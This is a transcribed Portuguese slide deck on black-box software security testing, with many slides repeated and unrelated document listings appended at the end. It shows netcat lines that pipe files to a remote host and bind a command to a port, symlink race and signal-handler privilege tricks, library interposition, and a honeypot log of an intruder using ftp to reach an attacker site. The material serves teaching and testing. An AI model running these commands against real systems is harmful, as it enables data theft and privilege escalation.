Segurança de Software: Testes de Caixa Preta
|
|
|
- Estela da Rocha Padilha
- 8 Há anos
- Visualizações:
Transcrição
1 Luiz Gustavo C. Barbato 1 2 Antonio Montes Laboratório Associado de Computação e Matemática Aplicada Instituto Nacional de Pesquisas Espaciais 2 Divisão de Segurança de Sistemas de Informação Centro de Pesquisas Renato Archer Grupo de Trabalho em Segurança de Redes
2 Introdução... desta forma o software X impossibilita alguém copiar um documento que não possui permissão para isso...
3 Introdução Primeira vulnerabilidade: Uso do Impossível Nunca, Unbreakable, etc. O que significa impossível? que não pode ser, existir ou acontecer (Houaiss pág. 241 ISBN ) Não esquecer que os aplicativos não trabalham sozinhos
4 Introdução Primeira vulnerabilidade: Uso do Impossível Nunca, Unbreakable, etc. O que significa impossível? que não pode ser, existir ou acontecer (Houaiss pág. 241 ISBN ) Não esquecer que os aplicativos não trabalham sozinhos
5 Introdução Primeira vulnerabilidade: Uso do Impossível Nunca, Unbreakable, etc. O que significa impossível? que não pode ser, existir ou acontecer (Houaiss pág. 241 ISBN ) Não esquecer que os aplicativos não trabalham sozinhos
6 Introdução Esse sistema protege de qualquer usuário, inclusive do administrador? Reposta: Sim, por duas razões: 1 Se o administrador desabilitar o software, os documentos ficam ilegíveis pois o sistema utiliza certificados digitais. 2 Os administradores também são usuários, e os documentos devem estar protegidos deles também. Não esquecer que os aplicativos não trabalham sozinhos
7 Introdução Esse sistema protege de qualquer usuário, inclusive do administrador? Reposta: Sim, por duas razões: 1 Se o administrador desabilitar o software, os documentos ficam ilegíveis pois o sistema utiliza certificados digitais. 2 Os administradores também são usuários, e os documentos devem estar protegidos deles também. Não esquecer que os aplicativos não trabalham sozinhos
8 Introdução Esse sistema protege de qualquer usuário, inclusive do administrador? Reposta: Sim, por duas razões: 1 Se o administrador desabilitar o software, os documentos ficam ilegíveis pois o sistema utiliza certificados digitais. 2 Os administradores também são usuários, e os documentos devem estar protegidos deles também. Não esquecer que os aplicativos não trabalham sozinhos
9 Introdução Esse sistema protege de qualquer usuário, inclusive do administrador? Reposta: Sim, por duas razões: 1 Se o administrador desabilitar o software, os documentos ficam ilegíveis pois o sistema utiliza certificados digitais. 2 Os administradores também são usuários, e os documentos devem estar protegidos deles também. Não esquecer que os aplicativos não trabalham sozinhos
10 Objetivo 1 Discutir aspectos sobre testes de segurança em software onde o código fonte do mesmo não é analisado. 2 Frase chave: O que será que acontece se...
11 Vulnerabilidades em Software Para encontrar problemas sempre pensar que o impossível pode acontecer. Não esquecer que os aplicativos não trabalham sozinhos. Pensar na forma como sistema operacional trabalhará. Não desprezar ataques locais mesmo que a máquina não seja utilizada por ninguém.
12 Vulnerabilidades em Software... estava analisando a lista de discussão e uma pessoa me disse que instalou o nosso sistema operacional default e em muito pouco tempo a máquina tinha sido comprometida. Eu nem respondi o , mas deu vontade de dizer: Você pediu....
13 Metodologias de Análise de Software Análise de Caixa Branca Auditoria de código Procurar por funções inseguras Levantar todas as entradas de dados
14 Metodologias de Análise de Software Análise de Caixa Preta Testes de vulnerabilidade Pensar como o desenvolvedor implementou o sistema Como será que o software X bloqueia a cópia e a impressão de documentos?
15 Metodologias de Análise de Software Análise de Caixa Preta Testes de vulnerabilidade Pensar como o desenvolvedor implementou o sistema Como será que o software X bloqueia a cópia e a impressão de documentos?
16 Testes de Caixa Preta Validação das entradas Sockets Testes em aplicações servidoras $ echo "Alguma coisa" nc <IP> <PORTA> $ cat <ARQUIVO> nc <IP> <PORTA> $ cat /dev/random nc <IP> <PORTA> $ while true; do echo "Alguma coisa" nc <IP> <PORTA>; done $ find <DIRETORIO> -exec cat {} \; nc <IP> <PORTA> $ echo "VARIAVEL=VALOR" lynx -post_data $ echo " lynx -dump - Testes em aplicações clientes $ echo "Alguma coisa" nc -l -p <PORTA> $ nc -l -p <PORTA> < /dev/random $ nc -l -p <PORTA> -e <COMANDO> $ while true; do echo "Alguma coisa" nc -l -p <PORTA>; done
17 Testes de Caixa Preta Validação das entradas Sockets Testes em aplicações servidoras $ echo "Alguma coisa" nc <IP> <PORTA> $ cat <ARQUIVO> nc <IP> <PORTA> $ cat /dev/random nc <IP> <PORTA> $ while true; do echo "Alguma coisa" nc <IP> <PORTA>; done $ find <DIRETORIO> -exec cat {} \; nc <IP> <PORTA> $ echo "VARIAVEL=VALOR" lynx -post_data $ echo " lynx -dump - Testes em aplicações clientes $ echo "Alguma coisa" nc -l -p <PORTA> $ nc -l -p <PORTA> < /dev/random $ nc -l -p <PORTA> -e <COMANDO> $ while true; do echo "Alguma coisa" nc -l -p <PORTA>; done
18 Testes de Caixa Preta Validação das entradas Sockets Testes em aplicações servidoras $ echo "Alguma coisa" nc <IP> <PORTA> $ cat <ARQUIVO> nc <IP> <PORTA> $ cat /dev/random nc <IP> <PORTA> $ while true; do echo "Alguma coisa" nc <IP> <PORTA>; done $ find <DIRETORIO> -exec cat {} \; nc <IP> <PORTA> $ echo "VARIAVEL=VALOR" lynx -post_data $ echo " lynx -dump - Testes em aplicações clientes $ echo "Alguma coisa" nc -l -p <PORTA> $ nc -l -p <PORTA> < /dev/random $ nc -l -p <PORTA> -e <COMANDO> $ while true; do echo "Alguma coisa" nc -l -p <PORTA>; done
19 Validação das entradas Parâmetros de inicialização $ <PROGRAMA> echo Alguma coisa $ <PROGRAMA> cat ARQUIVO $ <PROGRAMA> perl -e print "A"x1024 $ find <DIRETORIO> -exec cat {} \; xargs <PROGRAMA> $ perl -e for($i=0;$i<1024;$i++){ \ $arg="a"x$i."\n"; system("<programa> $arg");} $ perl -e for($i=0;$i<1024;$i++){ system("<programa> $i");} $ export ARG= Algo muito estranho ; <PROGRAMA> $ARG
20 Validação das entradas Parâmetros de inicialização $ <PROGRAMA> echo Alguma coisa $ <PROGRAMA> cat ARQUIVO $ <PROGRAMA> perl -e print "A"x1024 $ find <DIRETORIO> -exec cat {} \; xargs <PROGRAMA> $ perl -e for($i=0;$i<1024;$i++){ \ $arg="a"x$i."\n"; system("<programa> $arg");} $ perl -e for($i=0;$i<1024;$i++){ system("<programa> $i");} $ export ARG= Algo muito estranho ; <PROGRAMA> $ARG
21 Validação das entradas Leitura de arquivos $ strace <PROGRAMA> 2>&1 egrep (open.*rd) $ echo "nome= " >> /etc/arquivo; <PROGRAMA> $ sed -i s/ano=.*/ano=-9999/g /etc/arquivo; <PROGRAMA> $ <PROGRAMA> -c /dev/random $ ln -s /dev/random /etc/arquivo; <PROGRAMA> Exemplo: $ vim -s /dev/random
22 Validação das entradas Leitura de arquivos $ strace <PROGRAMA> 2>&1 egrep (open.*rd) $ echo "nome= " >> /etc/arquivo; <PROGRAMA> $ sed -i s/ano=.*/ano=-9999/g /etc/arquivo; <PROGRAMA> $ <PROGRAMA> -c /dev/random $ ln -s /dev/random /etc/arquivo; <PROGRAMA> Exemplo: $ vim -s /dev/random
23 Validação das entradas Leitura de arquivos $ strace <PROGRAMA> 2>&1 egrep (open.*rd) $ echo "nome= " >> /etc/arquivo; <PROGRAMA> $ sed -i s/ano=.*/ano=-9999/g /etc/arquivo; <PROGRAMA> $ <PROGRAMA> -c /dev/random $ ln -s /dev/random /etc/arquivo; <PROGRAMA> Exemplo: $ vim -s /dev/random
24 Validação das entradas Leitura de teclado $ echo "Alguma coisa" <PROGRAMA> #... # E demais formas apresentadas #...
25 Validação das entradas Leitura de teclado $ echo "Alguma coisa" <PROGRAMA> #... # E demais formas apresentadas #...
26 Validação das entradas IPC: Memória compartilhada int main (int argc, char ** argv) { /*...declaração de variáveis...*/ fd=open(argv[1],o_rdwr O_CREAT,S_IRUSR S_IWUSR S_IRGRP S_IROTH); ftruncate(fd, SIZE); ptr_mem=mmap(null,size,prot_read PROT_WRITE,MAP_SHARED,fd,0); fgets(buf,size,stdin); memcpy(ptr_mem,buf,size); munmap (NULL,SIZE); close (fd); return 0; }
27 Validação das entradas IPC: Memória compartilhada int main (int argc, char ** argv) { /*...declaração de variáveis...*/ fd=open(argv[1],o_rdwr O_CREAT,S_IRUSR S_IWUSR S_IRGRP S_IROTH); ftruncate(fd, SIZE); ptr_mem=mmap(null,size,prot_read PROT_WRITE,MAP_SHARED,fd,0); fgets(buf,size,stdin); memcpy(ptr_mem,buf,size); munmap (NULL,SIZE); close (fd); return 0; }
28 Validação das entradas IPC: Memória compartilhada $ echo "Alguma coisa" mmap-inject <ARQUIVO> #... # E demais formas apresentadas #...
29 Validação das entradas Banco de dados CREATE TABLE funcionario ( codigo NUMERIC(8) NOT NULL, nome VARCHAR(128) NOT NULL, VARCHAR(128) NOT NULL ); CREATE TABLE funcionario ( codigo NUMERIC(80) NOT NULL, nome VARCHAR(1) NOT NULL, VARCHAR(1280) NOT NULL ); CREATE TABLE funcionario ( VARCHAR(128) NOT NULL, nome VARCHAR(128), codigo VARCHAR(8) NOT NULL );
30 Validação das entradas Banco de dados CREATE TABLE funcionario ( codigo NUMERIC(8) NOT NULL, nome VARCHAR(128) NOT NULL, VARCHAR(128) NOT NULL ); CREATE TABLE funcionario ( codigo NUMERIC(80) NOT NULL, nome VARCHAR(1) NOT NULL, VARCHAR(1280) NOT NULL ); CREATE TABLE funcionario ( VARCHAR(128) NOT NULL, nome VARCHAR(128), codigo VARCHAR(8) NOT NULL );
31 Validação das entradas Banco de dados CREATE TABLE funcionario ( codigo NUMERIC(8) NOT NULL, nome VARCHAR(128) NOT NULL, VARCHAR(128) NOT NULL ); CREATE TABLE funcionario ( codigo NUMERIC(80) NOT NULL, nome VARCHAR(1) NOT NULL, VARCHAR(1280) NOT NULL ); CREATE TABLE funcionario ( VARCHAR(128) NOT NULL, nome VARCHAR(128), codigo VARCHAR(8) NOT NULL );
32 Validação das entradas Banco de dados CREATE TABLE funcionario ( codigo NUMERIC(8) NOT NULL, nome VARCHAR(128) NOT NULL, VARCHAR(128) NOT NULL ); CREATE TABLE funcionario ( codigo NUMERIC(80) NOT NULL, nome VARCHAR(1) NOT NULL, VARCHAR(1280) NOT NULL ); CREATE TABLE funcionario ( VARCHAR(128) NOT NULL, nome VARCHAR(128), codigo VARCHAR(8) NOT NULL );
33 Buffer overflows É possível extravasar buffers em sistemas Java? JVM controla o acesso a memória (aloca e desaloca) Só que o Java não consegue efetuar certas operações E para resolver este problema : JNI (Java Native Interface)
34 Buffer overflows É possível extravasar buffers em sistemas Java? JVM controla o acesso a memória (aloca e desaloca) Só que o Java não consegue efetuar certas operações E para resolver este problema : JNI (Java Native Interface)
35 Buffer overflows É possível extravasar buffers em sistemas Java? JVM controla o acesso a memória (aloca e desaloca) Só que o Java não consegue efetuar certas operações E para resolver este problema : JNI (Java Native Interface)
36 Buffer overflows É possível extravasar buffers em sistemas Java? JVM controla o acesso a memória (aloca e desaloca) Só que o Java não consegue efetuar certas operações E para resolver este problema : JNI (Java Native Interface)
37 Buffer overflows É possível extravasar buffers em sistemas Java? class HelloWorld { public native void displayhelloworld(); static { System.loadLibrary("hello"); } public static void main(string[] args) { new HelloWorld().displayHelloWorld(); } } cc -G HelloWorldImp.c -o libhello.so cl -LD HelloWorldImp.c -Fehello.dll
38 Buffer overflows É possível extravasar buffers em sistemas Java? class HelloWorld { public native void displayhelloworld(); static { System.loadLibrary("hello"); } public static void main(string[] args) { new HelloWorld().displayHelloWorld(); } } cc -G HelloWorldImp.c -o libhello.so cl -LD HelloWorldImp.c -Fehello.dll
39 Buffer overflows É possível extravasar buffers em sistemas Java? JNIEXPORT jstring JNICALL Java_Prompt_getLine(JNIEnv *env, jobject obj, jstring prompt) { char buf[128]; const char *str = (*env)->getstringutfchars(env, prompt, 0); printf("%s", str); (*env)->releasestringutfchars(env, prompt, str); scanf("%s", buf); return (*env)->newstringutf(env, buf); } Possível teste de vulnerabilidade: $ perl -e print "A"x140 java prompt Segmentation fault
40 Buffer overflows É possível extravasar buffers em sistemas Java? JNIEXPORT jstring JNICALL Java_Prompt_getLine(JNIEnv *env, jobject obj, jstring prompt) { char buf[128]; const char *str = (*env)->getstringutfchars(env, prompt, 0); printf("%s", str); (*env)->releasestringutfchars(env, prompt, str); scanf("%s", buf); return (*env)->newstringutf(env, buf); } Possível teste de vulnerabilidade: $ perl -e print "A"x140 java prompt Segmentation fault
41 Execução de códigos maliciosos <? ; > ou >> ou < ou << Algumas codificações: ASCII:. / Hexadecimal: 2E 2F Unicode: C0AE C0AF UTF-8: F080AE E080AF Exemplo: Firefox reconhece 80 codificações
42 Execução de códigos maliciosos <? ; > ou >> ou < ou << Algumas codificações: ASCII:. / Hexadecimal: 2E 2F Unicode: C0AE C0AF UTF-8: F080AE E080AF Exemplo: Firefox reconhece 80 codificações
43 Race Conditions $ strace <PROGRAMA> 2>&1 egrep (open.*wr) void main (int argc, char ** argv) { FILE * fd = fopen ("/tmp/arquivo-temporario", "w"); fputs ("teste de condicao de corrida\n", fd); fclose (fd); } $./rc $ cat /tmp/arquivo-temporario teste de condicao de corrida $ ln -s /tmp/arquivo-indevido /tmp/arquivo-temporario $./rc $ cat /tmp/arquivo-indevido teste de condicao de corrida
44 Race Conditions $ strace <PROGRAMA> 2>&1 egrep (open.*wr) void main (int argc, char ** argv) { FILE * fd = fopen ("/tmp/arquivo-temporario", "w"); fputs ("teste de condicao de corrida\n", fd); fclose (fd); } $./rc $ cat /tmp/arquivo-temporario teste de condicao de corrida $ ln -s /tmp/arquivo-indevido /tmp/arquivo-temporario $./rc $ cat /tmp/arquivo-indevido teste de condicao de corrida
45 Race Conditions $ strace <PROGRAMA> 2>&1 egrep (open.*wr) void main (int argc, char ** argv) { FILE * fd = fopen ("/tmp/arquivo-temporario", "w"); fputs ("teste de condicao de corrida\n", fd); fclose (fd); } $./rc $ cat /tmp/arquivo-temporario teste de condicao de corrida $ ln -s /tmp/arquivo-indevido /tmp/arquivo-temporario $./rc $ cat /tmp/arquivo-indevido teste de condicao de corrida
46 Race Conditions $ strace <PROGRAMA> 2>&1 egrep (open.*wr) void main (int argc, char ** argv) { FILE * fd = fopen ("/tmp/arquivo-temporario", "w"); fputs ("teste de condicao de corrida\n", fd); fclose (fd); } $./rc $ cat /tmp/arquivo-temporario teste de condicao de corrida $ ln -s /tmp/arquivo-indevido /tmp/arquivo-temporario $./rc $ cat /tmp/arquivo-indevido teste de condicao de corrida
47 Race Conditions $ strace <PROGRAMA> 2>&1 egrep (open.*wr) void main (int argc, char ** argv) { FILE * fd = fopen ("/tmp/arquivo-temporario", "w"); fputs ("teste de condicao de corrida\n", fd); fclose (fd); } $./rc $ cat /tmp/arquivo-temporario teste de condicao de corrida $ ln -s /tmp/arquivo-indevido /tmp/arquivo-temporario $./rc $ cat /tmp/arquivo-indevido teste de condicao de corrida
48 Race Conditions Soluções utilizadas: Testar a existência do arquivo antes abrí-lo para escrita. Possível teste de vulnerabilidade: while true; do./rc2& rm -f /tmp/arquivo-temporario./rc2& ln -s /tmp/arquivo-indevido /tmp/arquivo-temporario./rc2& done
49 Race Conditions Soluções utilizadas: Testar a existência do arquivo antes abrí-lo para escrita. Possível teste de vulnerabilidade: while true; do./rc2& rm -f /tmp/arquivo-temporario./rc2& ln -s /tmp/arquivo-indevido /tmp/arquivo-temporario./rc2& done
50 Tratamento de sinais $ strace <PROGRAMA> 2>&1 grep sigaction $ strace <PROGRAMA> 2>&1 grep sigaction rt_sigaction(sigterm, {0x , [TERM], SA_RESTORER... $ strace <PROGRAMA> 2>&1 grep suid setresuid32(-1, 1000, -1) = 0 setresuid32(-1, 0, -1) = -1 EPERM... setresuid32(-1, 1000, -1) = 0 $ <PROGRAMA> & sleep 3; killall -TERM <PROGRAMA>; sleep 3; \ killall -TERM <PROGRAMA> Running with uid=1000 euid=1000 Running with uid=1000 euid=0
51 Tratamento de sinais $ strace <PROGRAMA> 2>&1 grep sigaction $ strace <PROGRAMA> 2>&1 grep sigaction rt_sigaction(sigterm, {0x , [TERM], SA_RESTORER... $ strace <PROGRAMA> 2>&1 grep suid setresuid32(-1, 1000, -1) = 0 setresuid32(-1, 0, -1) = -1 EPERM... setresuid32(-1, 1000, -1) = 0 $ <PROGRAMA> & sleep 3; killall -TERM <PROGRAMA>; sleep 3; \ killall -TERM <PROGRAMA> Running with uid=1000 euid=1000 Running with uid=1000 euid=0
52 Tratamento de sinais $ strace <PROGRAMA> 2>&1 grep sigaction $ strace <PROGRAMA> 2>&1 grep sigaction rt_sigaction(sigterm, {0x , [TERM], SA_RESTORER... $ strace <PROGRAMA> 2>&1 grep suid setresuid32(-1, 1000, -1) = 0 setresuid32(-1, 0, -1) = -1 EPERM... setresuid32(-1, 1000, -1) = 0 $ <PROGRAMA> & sleep 3; killall -TERM <PROGRAMA>; sleep 3; \ killall -TERM <PROGRAMA> Running with uid=1000 euid=1000 Running with uid=1000 euid=0
53 Tratamento de sinais $ strace <PROGRAMA> 2>&1 grep sigaction $ strace <PROGRAMA> 2>&1 grep sigaction rt_sigaction(sigterm, {0x , [TERM], SA_RESTORER... $ strace <PROGRAMA> 2>&1 grep suid setresuid32(-1, 1000, -1) = 0 setresuid32(-1, 0, -1) = -1 EPERM... setresuid32(-1, 1000, -1) = 0 $ <PROGRAMA> & sleep 3; killall -TERM <PROGRAMA>; sleep 3; \ killall -TERM <PROGRAMA> Running with uid=1000 euid=1000 Running with uid=1000 euid=0
54 Tratamento de sinais $ strace <PROGRAMA> 2>&1 grep sigaction $ strace <PROGRAMA> 2>&1 grep sigaction rt_sigaction(sigterm, {0x , [TERM], SA_RESTORER... $ strace <PROGRAMA> 2>&1 grep suid setresuid32(-1, 1000, -1) = 0 setresuid32(-1, 0, -1) = -1 EPERM... setresuid32(-1, 1000, -1) = 0 $ <PROGRAMA> & sleep 3; killall -TERM <PROGRAMA>; sleep 3; \ killall -TERM <PROGRAMA> Running with uid=1000 euid=1000 Running with uid=1000 euid=0
55 Tratamento de sinais void sh(int dummy) { printf("running with uid=%d euid=%d\n",getuid(),geteuid()); } int main(int argc,char* argv[]) { seteuid(getuid()); setreuid(0,getuid()); signal(sigterm,sh); sleep(5); // this is a temporarily privileged code: seteuid(0); unlink("tmpfile"); sleep(5); seteuid(getuid()); exit(0); }
56 Tratamento de sinais $ kill -l 1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM 17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP 21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ 26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO 30) SIGPWR 31) SIGSYS $ killall -<SINAL> <PROGRAMA> $ kill -<SINAL> <PID-PROGRAMA> $ for i in seq 1 64 ; do killall -$i <PROGRAMA>; done $ grep 64 /usr/include/bits/signum.h #define _NSIG 64 /* Biggest signal number + 1
57 Tratamento de sinais $ kill -l 1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM 17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP 21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ 26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO 30) SIGPWR 31) SIGSYS $ killall -<SINAL> <PROGRAMA> $ kill -<SINAL> <PID-PROGRAMA> $ for i in seq 1 64 ; do killall -$i <PROGRAMA>; done $ grep 64 /usr/include/bits/signum.h #define _NSIG 64 /* Biggest signal number + 1
58 Windows Messages SendMessage PostMessage posicao.x=50; posicao.y=80; handle = WindowFromPoint(posicao); handle = FindWindow(NULL, "Título da Janela do Programa"); SendMessage(handle, WM_SETTEXT, 0, "Alguma mensagem"); SendMessage(handle, WM_KEYDOWN, VK_DOWN, 0); SendMessage(handle, WM_IME_KEYDOWN, 0x41, 0); SendMessage(handle, WM_CLOSE,0,0); SendMessage(handle, WM_GETTEXT, 80, (LPARAM)Texto);
59 Windows Messages SendMessage PostMessage posicao.x=50; posicao.y=80; handle = WindowFromPoint(posicao); handle = FindWindow(NULL, "Título da Janela do Programa"); SendMessage(handle, WM_SETTEXT, 0, "Alguma mensagem"); SendMessage(handle, WM_KEYDOWN, VK_DOWN, 0); SendMessage(handle, WM_IME_KEYDOWN, 0x41, 0); SendMessage(handle, WM_CLOSE,0,0); SendMessage(handle, WM_GETTEXT, 80, (LPARAM)Texto);
60 Windows Messages SendMessage PostMessage posicao.x=50; posicao.y=80; handle = WindowFromPoint(posicao); handle = FindWindow(NULL, "Título da Janela do Programa"); SendMessage(handle, WM_SETTEXT, 0, "Alguma mensagem"); SendMessage(handle, WM_KEYDOWN, VK_DOWN, 0); SendMessage(handle, WM_IME_KEYDOWN, 0x41, 0); SendMessage(handle, WM_CLOSE,0,0); SendMessage(handle, WM_GETTEXT, 80, (LPARAM)Texto);
61 Windows Messages SendMessage PostMessage posicao.x=50; posicao.y=80; handle = WindowFromPoint(posicao); handle = FindWindow(NULL, "Título da Janela do Programa"); SendMessage(handle, WM_SETTEXT, 0, "Alguma mensagem"); SendMessage(handle, WM_KEYDOWN, VK_DOWN, 0); SendMessage(handle, WM_IME_KEYDOWN, 0x41, 0); SendMessage(handle, WM_CLOSE,0,0); SendMessage(handle, WM_GETTEXT, 80, (LPARAM)Texto);
62 Problemas com Reaproveitamento de Código Bibliotecas Pacotes Componentes Classes Etc. 1 O que será que acontece se estes códigos não existissem? 2 O que será que acontece se estes códigos fossem trocados por outros?
63 Problemas com Reaproveitamento de Código Bibliotecas Pacotes Componentes Classes Etc. 1 O que será que acontece se estes códigos não existissem? 2 O que será que acontece se estes códigos fossem trocados por outros?
64 Problemas com Reaproveitamento de Código Bibliotecas Pacotes Componentes Classes Etc. 1 O que será que acontece se estes códigos não existissem? 2 O que será que acontece se estes códigos fossem trocados por outros?
65 Problemas com Reaproveitamento de Código void main(int argc, char ** argv) { void *handle; double (*coseno)(double); char *error; } if (!(handle = dlopen ("libm.so.6", RTLD_LAZY))) fputs (dlerror(), stderr), exit(1); coseno = dlsym(handle, "cos"); if ((error = dlerror())!= NULL) fputs(error, stderr), exit(1); printf ("%f\n", (*coseno)(atof(argv[1]))); dlclose(handle); $ gcc cos.c -o cos -ldl $./cos
66 Problemas com Reaproveitamento de Código void main(int argc, char ** argv) { void *handle; double (*coseno)(double); char *error; } if (!(handle = dlopen ("libm.so.6", RTLD_LAZY))) fputs (dlerror(), stderr), exit(1); coseno = dlsym(handle, "cos"); if ((error = dlerror())!= NULL) fputs(error, stderr), exit(1); printf ("%f\n", (*coseno)(atof(argv[1]))); dlclose(handle); $ gcc cos.c -o cos -ldl $./cos
67 Problemas com Reaproveitamento de Código 1 O que será que acontece se uma função de uma biblioteca retornasse um valor não esperado? $ cat libm.c double cos (double a) { return 0.0; } $ gcc -c libm.c $ gcc -shared -o libm.so.6 libm.o $ LD_LIBRARY_PATH="."./cos O mesmo acontece com DLLs. As chamadas às bibliotecas podem ser interceptadas.
68 Problemas com Reaproveitamento de Código 1 O que será que acontece se uma função de uma biblioteca retornasse um valor não esperado? $ cat libm.c double cos (double a) { return 0.0; } $ gcc -c libm.c $ gcc -shared -o libm.so.6 libm.o $ LD_LIBRARY_PATH="."./cos O mesmo acontece com DLLs. As chamadas às bibliotecas podem ser interceptadas.
69 Problemas com Reaproveitamento de Código 1 O que será que acontece se uma função de uma biblioteca retornasse um valor não esperado? $ cat libm.c double cos (double a) { return 0.0; } $ gcc -c libm.c $ gcc -shared -o libm.so.6 libm.o $ LD_LIBRARY_PATH="."./cos O mesmo acontece com DLLs. As chamadas às bibliotecas podem ser interceptadas.
70 Problemas inerentes do Sistema Operacional Não esquecer que os aplicativos não trabalham sozinhos. Controle das chamadas de sistemas Proteção das API s Utilização de recursos diretamente do kernel O que será que acontece se essas chamadas de sistemas fossem interceptadas?
71 Problemas inerentes do Sistema Operacional Não esquecer que os aplicativos não trabalham sozinhos. Controle das chamadas de sistemas Proteção das API s Utilização de recursos diretamente do kernel O que será que acontece se essas chamadas de sistemas fossem interceptadas?
72 Problemas inerentes do Sistema Operacional Conexão SSH não é criptografada? Last login: Wed Feb 25 15:57: root]# w 10:06am up 18:21, 0 users, load average:0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT [root@nome-honeypot root]# cd /tmp [root@nome-honeypot tmp]# ftp -v sitio.do.atacante Connected to sitio.do.atacante ( ). 220 Ftp server ready. Name (sitio.do.atacante:root): atacante 331 User atacante okay, need password. Password:senhadoatacante 230-You are user #19 of 350 simultaneous users allowed Restricted user logged in. Remote system type is UNIX.
73 Problemas inerentes do Sistema Operacional Conexão SSH não é criptografada? Last login: Wed Feb 25 15:57: root]# w 10:06am up 18:21, 0 users, load average:0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT [root@nome-honeypot root]# cd /tmp [root@nome-honeypot tmp]# ftp -v sitio.do.atacante Connected to sitio.do.atacante ( ). 220 Ftp server ready. Name (sitio.do.atacante:root): atacante 331 User atacante okay, need password. Password:senhadoatacante 230-You are user #19 of 350 simultaneous users allowed Restricted user logged in. Remote system type is UNIX.
74 Problemas inerentes do Sistema Operacional Um sniffer não captura todo tráfego de um barramento com HUB? insmod smartl.o tcpdump -nl udp > teste-trafego.txt& tcpdump: listening on eth0 ls smartl.o smartc smartv smarts smarta.sh smartg cat teste-trafego.txt smartv -d eth0 tcpdump -nl udp > teste-trafego.txt& tcpdump: listening on eth0 ls smartl.o smartc smartv smarts smarta.sh smartg cat teste-trafego.txt
75 Problemas inerentes do Sistema Operacional Um sniffer não captura todo tráfego de um barramento com HUB? insmod smartl.o tcpdump -nl udp > teste-trafego.txt& tcpdump: listening on eth0 ls smartl.o smartc smartv smarts smarta.sh smartg cat teste-trafego.txt smartv -d eth0 tcpdump -nl udp > teste-trafego.txt& tcpdump: listening on eth0 ls smartl.o smartc smartv smarts smarta.sh smartg cat teste-trafego.txt
76 Problemas inerentes do Sistema Operacional Um sniffer não captura todo tráfego de um barramento com HUB? insmod smartl.o tcpdump -nl udp > teste-trafego.txt& tcpdump: listening on eth0 ls smartl.o smartc smartv smarts smarta.sh smartg cat teste-trafego.txt smartv -d eth0 tcpdump -nl udp > teste-trafego.txt& tcpdump: listening on eth0 ls smartl.o smartc smartv smarts smarta.sh smartg cat teste-trafego.txt
77 Problemas inerentes do Sistema Operacional... desta forma o software X impossibilita alguém copiar um documento que não possui permissão para isso o sistema protege os documentos de todos os usuários, inclusive do administrador, pois se ele desabilitar o software, os documentos ficam ilegíveis... Como será que o software X bloqueia a cópia e a impressão de documentos? O que será que acontece se...
78 Considerações Finais Sempre pensar que o impossível pode acontecer e tomar cuidado para não ficar cego com as coisas óbvias. Muitos problemas podem estar dormentes esperando estímulos externos para acordarem. Somente os testes de Engenharia de Software não são suficientes para detectar todas as vulnerabilidades. Nunca esquecer de: O que será que acontece se...
79 Considerações Finais Sempre pensar que o impossível pode acontecer e tomar cuidado para não ficar cego com as coisas óbvias. Muitos problemas podem estar dormentes esperando estímulos externos para acordarem. Somente os testes de Engenharia de Software não são suficientes para detectar todas as vulnerabilidades. Nunca esquecer de: O que será que acontece se...
80 Considerações Finais Sempre pensar que o impossível pode acontecer e tomar cuidado para não ficar cego com as coisas óbvias. Muitos problemas podem estar dormentes esperando estímulos externos para acordarem. Somente os testes de Engenharia de Software não são suficientes para detectar todas as vulnerabilidades. Nunca esquecer de: O que será que acontece se...
81 Considerações Finais Sempre pensar que o impossível pode acontecer e tomar cuidado para não ficar cego com as coisas óbvias. Muitos problemas podem estar dormentes esperando estímulos externos para acordarem. Somente os testes de Engenharia de Software não são suficientes para detectar todas as vulnerabilidades. Nunca esquecer de: O que será que acontece se...
82 Contatos Luiz Gustavo C. Barbato Antonio Montes
Gestão de processos. Processos. Processo Comando ps Comando top Comando nice Comando kill. José Pedro Oliveira (jpo@di.uminho.pt)
Conteúdo (jpo@di.uminho.pt) Grupo de Sistemas Distribuídos Departamento de Informática Escola de Engenharia Universidade do Minho Sistemas Operativos 2005-2006 1 2 s s Identificador de processo pid - process
Segurança de Aplicações Aula 14
Segurança de Aplicações Aula 14 Prof. Msc. Anderson da Cruz Análise de Vulnerabilidades X Teste de Software Análise de Vulnerabilidade Uso de ferramentas para automatizar a análise Melhor resultado com
Gestão de processos. José Pedro Oliveira.
(jpo@di.uminho.pt) Grupo de Sistemas Distribuídos Departamento de Informática Escola de Engenharia Universidade do Minho Sistemas Operativos 2005-2006 Conteúdo 1 2 s s Identificador de processo pid - process
Comunicação entre Processos 9/21/17 1
Comunicação entre Processos 9/21/17 1 Introdução l Um sinal é uma notificação assíncrona transmitida entre processos através do Sistema Operacional Fluxo normal do programa l l Quando um processo termina,
FTP Protocolo de Transferência de Arquivos
FTP Protocolo de Transferência de Arquivos IFSC UNIDADE DE SÃO JOSÉ CURSO TÉCNICO SUBSEQUENTE DE TELECOMUNICAÇÕES! Prof. Tomás Grimm FTP - Protocolo O protocolo FTP é o serviço padrão da Internet para
Capítulo 5 Métodos de Defesa
Capítulo 5 Métodos de Defesa Ricardo Antunes Vieira 29/05/2012 Neste trabalho serão apresentadas técnicas que podem proporcionar uma maior segurança em redes Wi-Fi. O concentrador se trata de um ponto
SMaRT - Session Monitoring and Replay Tool
SMaRT - Session Monitoring and Replay Tool Luiz Gustavo C. Barbato e Antonio Montes {lgbarbato,montes}@lac.inpe.br. RESSIN - Redes e Segurança de Sistemas de Informação LAC - Laboratório Associado de Computação
